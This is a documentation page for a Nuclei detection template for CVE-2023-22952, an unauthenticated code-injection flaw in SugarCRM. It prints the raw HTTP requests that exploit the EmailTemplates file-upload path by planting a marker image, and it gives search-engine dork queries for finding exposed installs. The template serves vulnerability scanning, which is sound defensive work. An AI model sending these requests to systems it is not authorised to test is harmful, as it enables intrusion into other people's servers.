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SugarCRM Unauthenticated - Remote Code Execution

ID: CVE-2023-22952

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2023,sugarcrm,rce,file-upload,intrusive,kev

Description

Section titled “Description”

In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.

YAML Source

Section titled “YAML Source”
id: CVE-2023-22952


info:
  name: SugarCRM Unauthenticated - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.
  reference:
    - https://attackerkb.com/topics/E486ui94II/cve-2023-22952
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-22952
    cwe-id: CWE-20,CWE-94
    epss-score: 0.52172
    epss-percentile: 0.97769
    cpe: cpe:2.3:a:sugarcrm:sugarcrm:*:*:*:*:*:*:*:*
  metadata:
    vendor: sugarcrm
    product: sugarcrm
    shodan-query:
      - http.html:"sugarcrm inc. all rights reserved"
      - http.title:"sugar setup wizard"
      - http.title:"sugarcrm"
    fofa-query:
      - body="sugarcrm inc. all rights reserved"
      - title="sugar setup wizard"
      - title=sugarcrm
    google-query:
      - intext:"sugarcrm inc. all rights reserved"
      - intitle:"sugar setup wizard"
      - intitle:sugarcrm
  tags: cve,cve2023,sugarcrm,rce,file-upload,intrusive,kev


flow: http(1) && http(2) && http(3)


http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a


    matchers:
      - type: word
        part: body
        internal: true
        words:
          - 'You must specify a valid username and password'


  - raw:
      - |-
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR
        Connection: close


        ------WebKitFormBoundaryWeTJtA8WByYIQMGR
        Content-Disposition: form-data; name="action"


        AttachFiles
        ------WebKitFormBoundaryWeTJtA8WByYIQMGR
        Content-Disposition: form-data; name="module"


        EmailTemplates
        ------WebKitFormBoundaryWeTJtA8WByYIQMGR
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.txt"
        Content-Type: image/png


        {{ base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAUAAAAUBAMAAAC3y+roAAAAD1BMVEVDVkUtMjAyMy0yMjk1MiA7qbPWAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAEUlEQVQImWNgAAJGZQcGKgEAHPkAZVUOitsAAAAASUVORK5CYII=')}}
        ------WebKitFormBoundaryWeTJtA8WByYIQMGR--




    matchers:
      - type: word
        part: body
        internal: true
        words:
          - '["cache\/images\/{{randstr}}.txt"]'


  - raw:
      - |
        GET /cache/images/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CVE-2023-22952"


      - type: word
        part: header
        words:
          - "text/plain"
# digest: 490a0046304402206c20a573d4386e2a28a327008018de60b69968679a3aea624cd4c973551024e8022029a12aa48e179c20e6ca60a57c9815cef0a5b76a5c436ac042ded5df0b2d2617:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-22952.yaml"

View on Github